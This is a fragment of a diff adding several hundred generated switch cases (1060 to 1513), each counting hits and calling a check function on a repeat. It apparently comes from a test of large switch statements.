+ case 1060: if (n[1060]++ > 0) check ('a string 1060'); break;
+ case 1061: if (n[1061]++ > 0) check ('a string 1061'); break;
+ case 1062: if (n[1062]++ > 0) check ('a string 1062'); break;
+ case 1063: if (n[1063]++ > 0) check ('a string 1063'); break;
+ case 1064: if (n[1064]++ > 0) check ('a string 1064'); break;
+ case 1065: if (n[1065]++ > 0) check ('a string 1065'); break;
+ case 1066: if (n[1066]++ > 0) check ('a string 1066'); break;
+ case 1067: if (n[1067]++ > 0) check ('a string 1067'); break;
+ case 1068: if (n[1068]++ > 0) check ('a string 1068'); break;
+ case 1069: if (n[1069]++ > 0) check ('a string 1069'); break;
+ case 1070: if (n[1070]++ > 0) check ('a string 1070'); break;
+ case 1071: if (n[1071]++ > 0) check ('a string 1071'); break;
+ case 1072: if (n[1072]++ > 0) check ('a string 1072'); break;
+ case 1073: if (n[1073]++ > 0) check ('a string 1073'); break;
+ case 1074: if (n[1074]++ > 0) check ('a string 1074'); break;
+ case 1075: if (n[1075]++ > 0) check ('a string 1075'); break;
+ case 1076: if (n[1076]++ > 0) check ('a string 1076'); break;
+ case 1077: if (n[1077]++ > 0) check ('a string 1077'); break;
+ case 1078: if (n[1078]++ > 0) check ('a string 1078'); break;
+ case 1079: if (n[1079]++ > 0) check ('a string 1079'); break;
+ case 1080: if (n[1080]++ > 0) check ('a string 1080'); break;
+ case 1081: if (n[1081]++ > 0) check ('a string 1081'); break;
+ case 1082: if (n[1082]++ > 0) check ('a string 1082'); break;
+ case 1083: if (n[1083]++ > 0) check ('a string 1083'); break;
+ case 1084: if (n[1084]++ > 0) check ('a string 1084'); break;
+ case 1085: if (n[1085]++ > 0) check ('a string 1085'); break;
+ case 1086: if (n[1086]++ > 0) check ('a string 1086'); break;
+ case 1087: if (n[1087]++ > 0) check ('a string 1087'); break;
+ case 1088: if (n[1088]++ > 0) check ('a string 1088'); break;
+ case 1089: if (n[1089]++ > 0) check ('a string 1089'); break;
+ case 1090: if (n[1090]++ > 0) check ('a string 1090'); break;
+ case 1091: if (n[1091]++ > 0) check ('a string 1091'); break;
+ case 1092: if (n[1092]++ > 0) check ('a string 1092'); break;
+ case 1093: if (n[1093]++ > 0) check ('a string 1093'); break;
+ case 1094: if (n[1094]++ > 0) check ('a string 1094'); break;
+ case 1095: if (n[1095]++ > 0) check ('a string 1095'); break;
+ case 1096: if (n[1096]++ > 0) check ('a string 1096'); break;
+ case 1097: if (n[1097]++ > 0) check ('a string 1097'); break;
+ case 1098: if (n[1098]++ > 0) check ('a string 1098'); break;
+ case 1099: if (n[1099]++ > 0) check ('a string 1099'); break;
+ case 1100: if (n[1100]++ > 0) check ('a string 1100'); break;
+ case 1101: if (n[1101]++ > 0) check ('a string 1101'); break;
+ case 1102: if (n[1102]++ > 0) check ('a string 1102'); break;
+ case 1103: if (n[1103]++ > 0) check ('a string 1103'); break;
+ case 1104: if (n[1104]++ > 0) check ('a string 1104'); break;
+ case 1105: if (n[1105]++ > 0) check ('a string 1105'); break;
+ case 1106: if (n[1106]++ > 0) check ('a string 1106'); break;
+ case 1107: if (n[1107]++ > 0) check ('a string 1107'); break;
+ case 1108: if (n[1108]++ > 0) check ('a string 1108'); break;
+ case 1109: if (n[1109]++ > 0) check ('a string 1109'); break;
+ case 1110: if (n[1110]++ > 0) check ('a string 1110'); break;
+ case 1111: if (n[1111]++ > 0) check ('a string 1111'); break;
+ case 1112: if (n[1112]++ > 0) check ('a string 1112'); break;
+ case 1113: if (n[1113]++ > 0) check ('a string 1113'); break;
+ case 1114: if (n[1114]++ > 0) check ('a string 1114'); break;
+ case 1115: if (n[1115]++ > 0) check ('a string 1115'); break;
+ case 1116: if (n[1116]++ > 0) check ('a string 1116'); break;
+ case 1117: if (n[1117]++ > 0) check ('a string 1117'); break;
+ case 1118: if (n[1118]++ > 0) check ('a string 1118'); break;
+ case 1119: if (n[1119]++ > 0) check ('a string 1119'); break;
+ case 1120: if (n[1120]++ > 0) check ('a string 1120'); break;
+ case 1121: if (n[1121]++ > 0) check ('a string 1121'); break;
+ case 1122: if (n[1122]++ > 0) check ('a string 1122'); break;
+ case 1123: if (n[1123]++ > 0) check ('a string 1123'); break;
+ case 1124: if (n[1124]++ > 0) check ('a string 1124'); break;
+ case 1125: if (n[1125]++ > 0) check ('a string 1125'); break;
+ case 1126: if (n[1126]++ > 0) check ('a string 1126'); break;
+ case 1127: if (n[1127]++ > 0) check ('a string 1127'); break;
+ case 1128: if (n[1128]++ > 0) check ('a string 1128'); break;
+ case 1129: if (n[1129]++ > 0) check ('a string 1129'); break;
+ case 1130: if (n[1130]++ > 0) check ('a string 1130'); break;
+ case 1131: if (n[1131]++ > 0) check ('a string 1131'); break;
+ case 1132: if (n[1132]++ > 0) check ('a string 1132'); break;
+ case 1133: if (n[1133]++ > 0) check ('a string 1133'); break;
+ case 1134: if (n[1134]++ > 0) check ('a string 1134'); break;
+ case 1135: if (n[1135]++ > 0) check ('a string 1135'); break;
+ case 1136: if (n[1136]++ > 0) check ('a string 1136'); break;
+ case 1137: if (n[1137]++ > 0) check ('a string 1137'); break;
+ case 1138: if (n[1138]++ > 0) check ('a string 1138'); break;
+ case 1139: if (n[1139]++ > 0) check ('a string 1139'); break;
+ case 1140: if (n[1140]++ > 0) check ('a string 1140'); break;
+ case 1141: if (n[1141]++ > 0) check ('a string 1141'); break;
+ case 1142: if (n[1142]++ > 0) check ('a string 1142'); break;
+ case 1143: if (n[1143]++ > 0) check ('a string 1143'); break;
+ case 1144: if (n[1144]++ > 0) check ('a string 1144'); break;
+ case 1145: if (n[1145]++ > 0) check ('a string 1145'); break;
+ case 1146: if (n[1146]++ > 0) check ('a string 1146'); break;
+ case 1147: if (n[1147]++ > 0) check ('a string 1147'); break;
+ case 1148: if (n[1148]++ > 0) check ('a string 1148'); break;
+ case 1149: if (n[1149]++ > 0) check ('a string 1149'); break;
+ case 1150: if (n[1150]++ > 0) check ('a string 1150'); break;
+ case 1151: if (n[1151]++ > 0) check ('a string 1151'); break;
+ case 1152: if (n[1152]++ > 0) check ('a string 1152'); break;
+ case 1153: if (n[1153]++ > 0) check ('a string 1153'); break;
+ case 1154: if (n[1154]++ > 0) check ('a string 1154'); break;
+ case 1155: if (n[1155]++ > 0) check ('a string 1155'); break;
+ case 1156: if (n[1156]++ > 0) check ('a string 1156'); break;
+ case 1157: if (n[1157]++ > 0) check ('a string 1157'); break;
+ case 1158: if (n[1158]++ > 0) check ('a string 1158'); break;
+ case 1159: if (n[1159]++ > 0) check ('a string 1159'); break;
+ case 1160: if (n[1160]++ > 0) check ('a string 1160'); break;
+ case 1161: if (n[1161]++ > 0) check ('a string 1161'); break;
+ case 1162: if (n[1162]++ > 0) check ('a string 1162'); break;
+ case 1163: if (n[1163]++ > 0) check ('a string 1163'); break;
+ case 1164: if (n[1164]++ > 0) check ('a string 1164'); break;
+ case 1165: if (n[1165]++ > 0) check ('a string 1165'); break;
+ case 1166: if (n[1166]++ > 0) check ('a string 1166'); break;
+ case 1167: if (n[1167]++ > 0) check ('a string 1167'); break;
+ case 1168: if (n[1168]++ > 0) check ('a string 1168'); break;
+ case 1169: if (n[1169]++ > 0) check ('a string 1169'); break;
+ case 1170: if (n[1170]++ > 0) check ('a string 1170'); break;
+ case 1171: if (n[1171]++ > 0) check ('a string 1171'); break;
+ case 1172: if (n[1172]++ > 0) check ('a string 1172'); break;
+ case 1173: if (n[1173]++ > 0) check ('a string 1173'); break;
+ case 1174: if (n[1174]++ > 0) check ('a string 1174'); break;
+ case 1175: if (n[1175]++ > 0) check ('a string 1175'); break;
+ case 1176: if (n[1176]++ > 0) check ('a string 1176'); break;
+ case 1177: if (n[1177]++ > 0) check ('a string 1177'); break;
+ case 1178: if (n[1178]++ > 0) check ('a string 1178'); break;
+ case 1179: if (n[1179]++ > 0) check ('a string 1179'); break;
+ case 1180: if (n[1180]++ > 0) check ('a string 1180'); break;
+ case 1181: if (n[1181]++ > 0) check ('a string 1181'); break;
+ case 1182: if (n[1182]++ > 0) check ('a string 1182'); break;
+ case 1183: if (n[1183]++ > 0) check ('a string 1183'); break;
+ case 1184: if (n[1184]++ > 0) check ('a string 1184'); break;
+ case 1185: if (n[1185]++ > 0) check ('a string 1185'); break;
+ case 1186: if (n[1186]++ > 0) check ('a string 1186'); break;
+ case 1187: if (n[1187]++ > 0) check ('a string 1187'); break;
+ case 1188: if (n[1188]++ > 0) check ('a string 1188'); break;
+ case 1189: if (n[1189]++ > 0) check ('a string 1189'); break;
+ case 1190: if (n[1190]++ > 0) check ('a string 1190'); break;
+ case 1191: if (n[1191]++ > 0) check ('a string 1191'); break;
+ case 1192: if (n[1192]++ > 0) check ('a string 1192'); break;
+ case 1193: if (n[1193]++ > 0) check ('a string 1193'); break;
+ case 1194: if (n[1194]++ > 0) check ('a string 1194'); break;
+ case 1195: if (n[1195]++ > 0) check ('a string 1195'); break;
+ case 1196: if (n[1196]++ > 0) check ('a string 1196'); break;
+ case 1197: if (n[1197]++ > 0) check ('a string 1197'); break;
+ case 1198: if (n[1198]++ > 0) check ('a string 1198'); break;
+ case 1199: if (n[1199]++ > 0) check ('a string 1199'); break;
+ case 1200: if (n[1200]++ > 0) check ('a string 1200'); break;
+ case 1201: if (n[1201]++ > 0) check ('a string 1201'); break;
+ case 1202: if (n[1202]++ > 0) check ('a string 1202'); break;
+ case 1203: if (n[1203]++ > 0) check ('a string 1203'); break;
+ case 1204: if (n[1204]++ > 0) check ('a string 1204'); break;
+ case 1205: if (n[1205]++ > 0) check ('a string 1205'); break;
+ case 1206: if (n[1206]++ > 0) check ('a string 1206'); break;
+ case 1207: if (n[1207]++ > 0) check ('a string 1207'); break;
+ case 1208: if (n[1208]++ > 0) check ('a string 1208'); break;
+ case 1209: if (n[1209]++ > 0) check ('a string 1209'); break;
+ case 1210: if (n[1210]++ > 0) check ('a string 1210'); break;
+ case 1211: if (n[1211]++ > 0) check ('a string 1211'); break;
+ case 1212: if (n[1212]++ > 0) check ('a string 1212'); break;
+ case 1213: if (n[1213]++ > 0) check ('a string 1213'); break;
+ case 1214: if (n[1214]++ > 0) check ('a string 1214'); break;
+ case 1215: if (n[1215]++ > 0) check ('a string 1215'); break;
+ case 1216: if (n[1216]++ > 0) check ('a string 1216'); break;
+ case 1217: if (n[1217]++ > 0) check ('a string 1217'); break;
+ case 1218: if (n[1218]++ > 0) check ('a string 1218'); break;
+ case 1219: if (n[1219]++ > 0) check ('a string 1219'); break;
+ case 1220: if (n[1220]++ > 0) check ('a string 1220'); break;
+ case 1221: if (n[1221]++ > 0) check ('a string 1221'); break;
+ case 1222: if (n[1222]++ > 0) check ('a string 1222'); break;
+ case 1223: if (n[1223]++ > 0) check ('a string 1223'); break;
+ case 1224: if (n[1224]++ > 0) check ('a string 1224'); break;
+ case 1225: if (n[1225]++ > 0) check ('a string 1225'); break;
+ case 1226: if (n[1226]++ > 0) check ('a string 1226'); break;
+ case 1227: if (n[1227]++ > 0) check ('a string 1227'); break;
+ case 1228: if (n[1228]++ > 0) check ('a string 1228'); break;
+ case 1229: if (n[1229]++ > 0) check ('a string 1229'); break;
+ case 1230: if (n[1230]++ > 0) check ('a string 1230'); break;
+ case 1231: if (n[1231]++ > 0) check ('a string 1231'); break;
+ case 1232: if (n[1232]++ > 0) check ('a string 1232'); break;
+ case 1233: if (n[1233]++ > 0) check ('a string 1233'); break;
+ case 1234: if (n[1234]++ > 0) check ('a string 1234'); break;
+ case 1235: if (n[1235]++ > 0) check ('a string 1235'); break;
+ case 1236: if (n[1236]++ > 0) check ('a string 1236'); break;
+ case 1237: if (n[1237]++ > 0) check ('a string 1237'); break;
+ case 1238: if (n[1238]++ > 0) check ('a string 1238'); break;
+ case 1239: if (n[1239]++ > 0) check ('a string 1239'); break;
+ case 1240: if (n[1240]++ > 0) check ('a string 1240'); break;
+ case 1241: if (n[1241]++ > 0) check ('a string 1241'); break;
+ case 1242: if (n[1242]++ > 0) check ('a string 1242'); break;
+ case 1243: if (n[1243]++ > 0) check ('a string 1243'); break;
+ case 1244: if (n[1244]++ > 0) check ('a string 1244'); break;
+ case 1245: if (n[1245]++ > 0) check ('a string 1245'); break;
+ case 1246: if (n[1246]++ > 0) check ('a string 1246'); break;
+ case 1247: if (n[1247]++ > 0) check ('a string 1247'); break;
+ case 1248: if (n[1248]++ > 0) check ('a string 1248'); break;
+ case 1249: if (n[1249]++ > 0) check ('a string 1249'); break;
+ case 1250: if (n[1250]++ > 0) check ('a string 1250'); break;
+ case 1251: if (n[1251]++ > 0) check ('a string 1251'); break;
+ case 1252: if (n[1252]++ > 0) check ('a string 1252'); break;
+ case 1253: if (n[1253]++ > 0) check ('a string 1253'); break;
+ case 1254: if (n[1254]++ > 0) check ('a string 1254'); break;
+ case 1255: if (n[1255]++ > 0) check ('a string 1255'); break;
+ case 1256: if (n[1256]++ > 0) check ('a string 1256'); break;
+ case 1257: if (n[1257]++ > 0) check ('a string 1257'); break;
+ case 1258: if (n[1258]++ > 0) check ('a string 1258'); break;
+ case 1259: if (n[1259]++ > 0) check ('a string 1259'); break;
+ case 1260: if (n[1260]++ > 0) check ('a string 1260'); break;
+ case 1261: if (n[1261]++ > 0) check ('a string 1261'); break;
+ case 1262: if (n[1262]++ > 0) check ('a string 1262'); break;
+ case 1263: if (n[1263]++ > 0) check ('a string 1263'); break;
+ case 1264: if (n[1264]++ > 0) check ('a string 1264'); break;
+ case 1265: if (n[1265]++ > 0) check ('a string 1265'); break;
+ case 1266: if (n[1266]++ > 0) check ('a string 1266'); break;
+ case 1267: if (n[1267]++ > 0) check ('a string 1267'); break;
+ case 1268: if (n[1268]++ > 0) check ('a string 1268'); break;
+ case 1269: if (n[1269]++ > 0) check ('a string 1269'); break;
+ case 1270: if (n[1270]++ > 0) check ('a string 1270'); break;
+ case 1271: if (n[1271]++ > 0) check ('a string 1271'); break;
+ case 1272: if (n[1272]++ > 0) check ('a string 1272'); break;
+ case 1273: if (n[1273]++ > 0) check ('a string 1273'); break;
+ case 1274: if (n[1274]++ > 0) check ('a string 1274'); break;
+ case 1275: if (n[1275]++ > 0) check ('a string 1275'); break;
+ case 1276: if (n[1276]++ > 0) check ('a string 1276'); break;
+ case 1277: if (n[1277]++ > 0) check ('a string 1277'); break;
+ case 1278: if (n[1278]++ > 0) check ('a string 1278'); break;
+ case 1279: if (n[1279]++ > 0) check ('a string 1279'); break;
+ case 1280: if (n[1280]++ > 0) check ('a string 1280'); break;
+ case 1281: if (n[1281]++ > 0) check ('a string 1281'); break;
+ case 1282: if (n[1282]++ > 0) check ('a string 1282'); break;
+ case 1283: if (n[1283]++ > 0) check ('a string 1283'); break;
+ case 1284: if (n[1284]++ > 0) check ('a string 1284'); break;
+ case 1285: if (n[1285]++ > 0) check ('a string 1285'); break;
+ case 1286: if (n[1286]++ > 0) check ('a string 1286'); break;
+ case 1287: if (n[1287]++ > 0) check ('a string 1287'); break;
+ case 1288: if (n[1288]++ > 0) check ('a string 1288'); break;
+ case 1289: if (n[1289]++ > 0) check ('a string 1289'); break;
+ case 1290: if (n[1290]++ > 0) check ('a string 1290'); break;
+ case 1291: if (n[1291]++ > 0) check ('a string 1291'); break;
+ case 1292: if (n[1292]++ > 0) check ('a string 1292'); break;
+ case 1293: if (n[1293]++ > 0) check ('a string 1293'); break;
+ case 1294: if (n[1294]++ > 0) check ('a string 1294'); break;
+ case 1295: if (n[1295]++ > 0) check ('a string 1295'); break;
+ case 1296: if (n[1296]++ > 0) check ('a string 1296'); break;
+ case 1297: if (n[1297]++ > 0) check ('a string 1297'); break;
+ case 1298: if (n[1298]++ > 0) check ('a string 1298'); break;
+ case 1299: if (n[1299]++ > 0) check ('a string 1299'); break;
+ case 1300: if (n[1300]++ > 0) check ('a string 1300'); break;
+ case 1301: if (n[1301]++ > 0) check ('a string 1301'); break;
+ case 1302: if (n[1302]++ > 0) check ('a string 1302'); break;
+ case 1303: if (n[1303]++ > 0) check ('a string 1303'); break;
+ case 1304: if (n[1304]++ > 0) check ('a string 1304'); break;
+ case 1305: if (n[1305]++ > 0) check ('a string 1305'); break;
+ case 1306: if (n[1306]++ > 0) check ('a string 1306'); break;
+ case 1307: if (n[1307]++ > 0) check ('a string 1307'); break;
+ case 1308: if (n[1308]++ > 0) check ('a string 1308'); break;
+ case 1309: if (n[1309]++ > 0) check ('a string 1309'); break;
+ case 1310: if (n[1310]++ > 0) check ('a string 1310'); break;
+ case 1311: if (n[1311]++ > 0) check ('a string 1311'); break;
+ case 1312: if (n[1312]++ > 0) check ('a string 1312'); break;
+ case 1313: if (n[1313]++ > 0) check ('a string 1313'); break;
+ case 1314: if (n[1314]++ > 0) check ('a string 1314'); break;
+ case 1315: if (n[1315]++ > 0) check ('a string 1315'); break;
+ case 1316: if (n[1316]++ > 0) check ('a string 1316'); break;
+ case 1317: if (n[1317]++ > 0) check ('a string 1317'); break;
+ case 1318: if (n[1318]++ > 0) check ('a string 1318'); break;
+ case 1319: if (n[1319]++ > 0) check ('a string 1319'); break;
+ case 1320: if (n[1320]++ > 0) check ('a string 1320'); break;
+ case 1321: if (n[1321]++ > 0) check ('a string 1321'); break;
+ case 1322: if (n[1322]++ > 0) check ('a string 1322'); break;
+ case 1323: if (n[1323]++ > 0) check ('a string 1323'); break;
+ case 1324: if (n[1324]++ > 0) check ('a string 1324'); break;
+ case 1325: if (n[1325]++ > 0) check ('a string 1325'); break;
+ case 1326: if (n[1326]++ > 0) check ('a string 1326'); break;
+ case 1327: if (n[1327]++ > 0) check ('a string 1327'); break;
+ case 1328: if (n[1328]++ > 0) check ('a string 1328'); break;
+ case 1329: if (n[1329]++ > 0) check ('a string 1329'); break;
+ case 1330: if (n[1330]++ > 0) check ('a string 1330'); break;
+ case 1331: if (n[1331]++ > 0) check ('a string 1331'); break;
+ case 1332: if (n[1332]++ > 0) check ('a string 1332'); break;
+ case 1333: if (n[1333]++ > 0) check ('a string 1333'); break;
+ case 1334: if (n[1334]++ > 0) check ('a string 1334'); break;
+ case 1335: if (n[1335]++ > 0) check ('a string 1335'); break;
+ case 1336: if (n[1336]++ > 0) check ('a string 1336'); break;
+ case 1337: if (n[1337]++ > 0) check ('a string 1337'); break;
+ case 1338: if (n[1338]++ > 0) check ('a string 1338'); break;
+ case 1339: if (n[1339]++ > 0) check ('a string 1339'); break;
+ case 1340: if (n[1340]++ > 0) check ('a string 1340'); break;
+ case 1341: if (n[1341]++ > 0) check ('a string 1341'); break;
+ case 1342: if (n[1342]++ > 0) check ('a string 1342'); break;
+ case 1343: if (n[1343]++ > 0) check ('a string 1343'); break;
+ case 1344: if (n[1344]++ > 0) check ('a string 1344'); break;
+ case 1345: if (n[1345]++ > 0) check ('a string 1345'); break;
+ case 1346: if (n[1346]++ > 0) check ('a string 1346'); break;
+ case 1347: if (n[1347]++ > 0) check ('a string 1347'); break;
+ case 1348: if (n[1348]++ > 0) check ('a string 1348'); break;
+ case 1349: if (n[1349]++ > 0) check ('a string 1349'); break;
+ case 1350: if (n[1350]++ > 0) check ('a string 1350'); break;
+ case 1351: if (n[1351]++ > 0) check ('a string 1351'); break;
+ case 1352: if (n[1352]++ > 0) check ('a string 1352'); break;
+ case 1353: if (n[1353]++ > 0) check ('a string 1353'); break;
+ case 1354: if (n[1354]++ > 0) check ('a string 1354'); break;
+ case 1355: if (n[1355]++ > 0) check ('a string 1355'); break;
+ case 1356: if (n[1356]++ > 0) check ('a string 1356'); break;
+ case 1357: if (n[1357]++ > 0) check ('a string 1357'); break;
+ case 1358: if (n[1358]++ > 0) check ('a string 1358'); break;
+ case 1359: if (n[1359]++ > 0) check ('a string 1359'); break;
+ case 1360: if (n[1360]++ > 0) check ('a string 1360'); break;
+ case 1361: if (n[1361]++ > 0) check ('a string 1361'); break;
+ case 1362: if (n[1362]++ > 0) check ('a string 1362'); break;
+ case 1363: if (n[1363]++ > 0) check ('a string 1363'); break;
+ case 1364: if (n[1364]++ > 0) check ('a string 1364'); break;
+ case 1365: if (n[1365]++ > 0) check ('a string 1365'); break;
+ case 1366: if (n[1366]++ > 0) check ('a string 1366'); break;
+ case 1367: if (n[1367]++ > 0) check ('a string 1367'); break;
+ case 1368: if (n[1368]++ > 0) check ('a string 1368'); break;
+ case 1369: if (n[1369]++ > 0) check ('a string 1369'); break;
+ case 1370: if (n[1370]++ > 0) check ('a string 1370'); break;
+ case 1371: if (n[1371]++ > 0) check ('a string 1371'); break;
+ case 1372: if (n[1372]++ > 0) check ('a string 1372'); break;
+ case 1373: if (n[1373]++ > 0) check ('a string 1373'); break;
+ case 1374: if (n[1374]++ > 0) check ('a string 1374'); break;
+ case 1375: if (n[1375]++ > 0) check ('a string 1375'); break;
+ case 1376: if (n[1376]++ > 0) check ('a string 1376'); break;
+ case 1377: if (n[1377]++ > 0) check ('a string 1377'); break;
+ case 1378: if (n[1378]++ > 0) check ('a string 1378'); break;
+ case 1379: if (n[1379]++ > 0) check ('a string 1379'); break;
+ case 1380: if (n[1380]++ > 0) check ('a string 1380'); break;
+ case 1381: if (n[1381]++ > 0) check ('a string 1381'); break;
+ case 1382: if (n[1382]++ > 0) check ('a string 1382'); break;
+ case 1383: if (n[1383]++ > 0) check ('a string 1383'); break;
+ case 1384: if (n[1384]++ > 0) check ('a string 1384'); break;
+ case 1385: if (n[1385]++ > 0) check ('a string 1385'); break;
+ case 1386: if (n[1386]++ > 0) check ('a string 1386'); break;
+ case 1387: if (n[1387]++ > 0) check ('a string 1387'); break;
+ case 1388: if (n[1388]++ > 0) check ('a string 1388'); break;
+ case 1389: if (n[1389]++ > 0) check ('a string 1389'); break;
+ case 1390: if (n[1390]++ > 0) check ('a string 1390'); break;
+ case 1391: if (n[1391]++ > 0) check ('a string 1391'); break;
+ case 1392: if (n[1392]++ > 0) check ('a string 1392'); break;
+ case 1393: if (n[1393]++ > 0) check ('a string 1393'); break;
+ case 1394: if (n[1394]++ > 0) check ('a string 1394'); break;
+ case 1395: if (n[1395]++ > 0) check ('a string 1395'); break;
+ case 1396: if (n[1396]++ > 0) check ('a string 1396'); break;
+ case 1397: if (n[1397]++ > 0) check ('a string 1397'); break;
+ case 1398: if (n[1398]++ > 0) check ('a string 1398'); break;
+ case 1399: if (n[1399]++ > 0) check ('a string 1399'); break;
+ case 1400: if (n[1400]++ > 0) check ('a string 1400'); break;
+ case 1401: if (n[1401]++ > 0) check ('a string 1401'); break;
+ case 1402: if (n[1402]++ > 0) check ('a string 1402'); break;
+ case 1403: if (n[1403]++ > 0) check ('a string 1403'); break;
+ case 1404: if (n[1404]++ > 0) check ('a string 1404'); break;
+ case 1405: if (n[1405]++ > 0) check ('a string 1405'); break;
+ case 1406: if (n[1406]++ > 0) check ('a string 1406'); break;
+ case 1407: if (n[1407]++ > 0) check ('a string 1407'); break;
+ case 1408: if (n[1408]++ > 0) check ('a string 1408'); break;
+ case 1409: if (n[1409]++ > 0) check ('a string 1409'); break;
+ case 1410: if (n[1410]++ > 0) check ('a string 1410'); break;
+ case 1411: if (n[1411]++ > 0) check ('a string 1411'); break;
+ case 1412: if (n[1412]++ > 0) check ('a string 1412'); break;
+ case 1413: if (n[1413]++ > 0) check ('a string 1413'); break;
+ case 1414: if (n[1414]++ > 0) check ('a string 1414'); break;
+ case 1415: if (n[1415]++ > 0) check ('a string 1415'); break;
+ case 1416: if (n[1416]++ > 0) check ('a string 1416'); break;
+ case 1417: if (n[1417]++ > 0) check ('a string 1417'); break;
+ case 1418: if (n[1418]++ > 0) check ('a string 1418'); break;
+ case 1419: if (n[1419]++ > 0) check ('a string 1419'); break;
+ case 1420: if (n[1420]++ > 0) check ('a string 1420'); break;
+ case 1421: if (n[1421]++ > 0) check ('a string 1421'); break;
+ case 1422: if (n[1422]++ > 0) check ('a string 1422'); break;
+ case 1423: if (n[1423]++ > 0) check ('a string 1423'); break;
+ case 1424: if (n[1424]++ > 0) check ('a string 1424'); break;
+ case 1425: if (n[1425]++ > 0) check ('a string 1425'); break;
+ case 1426: if (n[1426]++ > 0) check ('a string 1426'); break;
+ case 1427: if (n[1427]++ > 0) check ('a string 1427'); break;
+ case 1428: if (n[1428]++ > 0) check ('a string 1428'); break;
+ case 1429: if (n[1429]++ > 0) check ('a string 1429'); break;
+ case 1430: if (n[1430]++ > 0) check ('a string 1430'); break;
+ case 1431: if (n[1431]++ > 0) check ('a string 1431'); break;
+ case 1432: if (n[1432]++ > 0) check ('a string 1432'); break;
+ case 1433: if (n[1433]++ > 0) check ('a string 1433'); break;
+ case 1434: if (n[1434]++ > 0) check ('a string 1434'); break;
+ case 1435: if (n[1435]++ > 0) check ('a string 1435'); break;
+ case 1436: if (n[1436]++ > 0) check ('a string 1436'); break;
+ case 1437: if (n[1437]++ > 0) check ('a string 1437'); break;
+ case 1438: if (n[1438]++ > 0) check ('a string 1438'); break;
+ case 1439: if (n[1439]++ > 0) check ('a string 1439'); break;
+ case 1440: if (n[1440]++ > 0) check ('a string 1440'); break;
+ case 1441: if (n[1441]++ > 0) check ('a string 1441'); break;
+ case 1442: if (n[1442]++ > 0) check ('a string 1442'); break;
+ case 1443: if (n[1443]++ > 0) check ('a string 1443'); break;
+ case 1444: if (n[1444]++ > 0) check ('a string 1444'); break;
+ case 1445: if (n[1445]++ > 0) check ('a string 1445'); break;
+ case 1446: if (n[1446]++ > 0) check ('a string 1446'); break;
+ case 1447: if (n[1447]++ > 0) check ('a string 1447'); break;
+ case 1448: if (n[1448]++ > 0) check ('a string 1448'); break;
+ case 1449: if (n[1449]++ > 0) check ('a string 1449'); break;
+ case 1450: if (n[1450]++ > 0) check ('a string 1450'); break;
+ case 1451: if (n[1451]++ > 0) check ('a string 1451'); break;
+ case 1452: if (n[1452]++ > 0) check ('a string 1452'); break;
+ case 1453: if (n[1453]++ > 0) check ('a string 1453'); break;
+ case 1454: if (n[1454]++ > 0) check ('a string 1454'); break;
+ case 1455: if (n[1455]++ > 0) check ('a string 1455'); break;
+ case 1456: if (n[1456]++ > 0) check ('a string 1456'); break;
+ case 1457: if (n[1457]++ > 0) check ('a string 1457'); break;
+ case 1458: if (n[1458]++ > 0) check ('a string 1458'); break;
+ case 1459: if (n[1459]++ > 0) check ('a string 1459'); break;
+ case 1460: if (n[1460]++ > 0) check ('a string 1460'); break;
+ case 1461: if (n[1461]++ > 0) check ('a string 1461'); break;
+ case 1462: if (n[1462]++ > 0) check ('a string 1462'); break;
+ case 1463: if (n[1463]++ > 0) check ('a string 1463'); break;
+ case 1464: if (n[1464]++ > 0) check ('a string 1464'); break;
+ case 1465: if (n[1465]++ > 0) check ('a string 1465'); break;
+ case 1466: if (n[1466]++ > 0) check ('a string 1466'); break;
+ case 1467: if (n[1467]++ > 0) check ('a string 1467'); break;
+ case 1468: if (n[1468]++ > 0) check ('a string 1468'); break;
+ case 1469: if (n[1469]++ > 0) check ('a string 1469'); break;
+ case 1470: if (n[1470]++ > 0) check ('a string 1470'); break;
+ case 1471: if (n[1471]++ > 0) check ('a string 1471'); break;
+ case 1472: if (n[1472]++ > 0) check ('a string 1472'); break;
+ case 1473: if (n[1473]++ > 0) check ('a string 1473'); break;
+ case 1474: if (n[1474]++ > 0) check ('a string 1474'); break;
+ case 1475: if (n[1475]++ > 0) check ('a string 1475'); break;
+ case 1476: if (n[1476]++ > 0) check ('a string 1476'); break;
+ case 1477: if (n[1477]++ > 0) check ('a string 1477'); break;
+ case 1478: if (n[1478]++ > 0) check ('a string 1478'); break;
+ case 1479: if (n[1479]++ > 0) check ('a string 1479'); break;
+ case 1480: if (n[1480]++ > 0) check ('a string 1480'); break;
+ case 1481: if (n[1481]++ > 0) check ('a string 1481'); break;
+ case 1482: if (n[1482]++ > 0) check ('a string 1482'); break;
+ case 1483: if (n[1483]++ > 0) check ('a string 1483'); break;
+ case 1484: if (n[1484]++ > 0) check ('a string 1484'); break;
+ case 1485: if (n[1485]++ > 0) check ('a string 1485'); break;
+ case 1486: if (n[1486]++ > 0) check ('a string 1486'); break;
+ case 1487: if (n[1487]++ > 0) check ('a string 1487'); break;
+ case 1488: if (n[1488]++ > 0) check ('a string 1488'); break;
+ case 1489: if (n[1489]++ > 0) check ('a string 1489'); break;
+ case 1490: if (n[1490]++ > 0) check ('a string 1490'); break;
+ case 1491: if (n[1491]++ > 0) check ('a string 1491'); break;
+ case 1492: if (n[1492]++ > 0) check ('a string 1492'); break;
+ case 1493: if (n[1493]++ > 0) check ('a string 1493'); break;
+ case 1494: if (n[1494]++ > 0) check ('a string 1494'); break;
+ case 1495: if (n[1495]++ > 0) check ('a string 1495'); break;
+ case 1496: if (n[1496]++ > 0) check ('a string 1496'); break;
+ case 1497: if (n[1497]++ > 0) check ('a string 1497'); break;
+ case 1498: if (n[1498]++ > 0) check ('a string 1498'); break;
+ case 1499: if (n[1499]++ > 0) check ('a string 1499'); break;
+ case 1500: if (n[1500]++ > 0) check ('a string 1500'); break;
+ case 1501: if (n[1501]++ > 0) check ('a string 1501'); break;
+ case 1502: if (n[1502]++ > 0) check ('a string 1502'); break;
+ case 1503: if (n[1503]++ > 0) check ('a string 1503'); break;
+ case 1504: if (n[1504]++ > 0) check ('a string 1504'); break;
+ case 1505: if (n[1505]++ > 0) check ('a string 1505'); break;
+ case 1506: if (n[1506]++ > 0) check ('a string 1506'); break;
+ case 1507: if (n[1507]++ > 0) check ('a string 1507'); break;
+ case 1508: if (n[1508]++ > 0) check ('a string 1508'); break;
+ case 1509: if (n[1509]++ > 0) check ('a string 1509'); break;
+ case 1510: if (n[1510]++ > 0) check ('a string 1510'); break;
+ case 1511: if (n[1511]++ > 0) check ('a string 1511'); break;
+ case 1512: if (n[1512]++ > 0) check ('a string 1512'); break;
+ case 1513: if (n[1513]++ > 0) check ('a string 1513'); break;
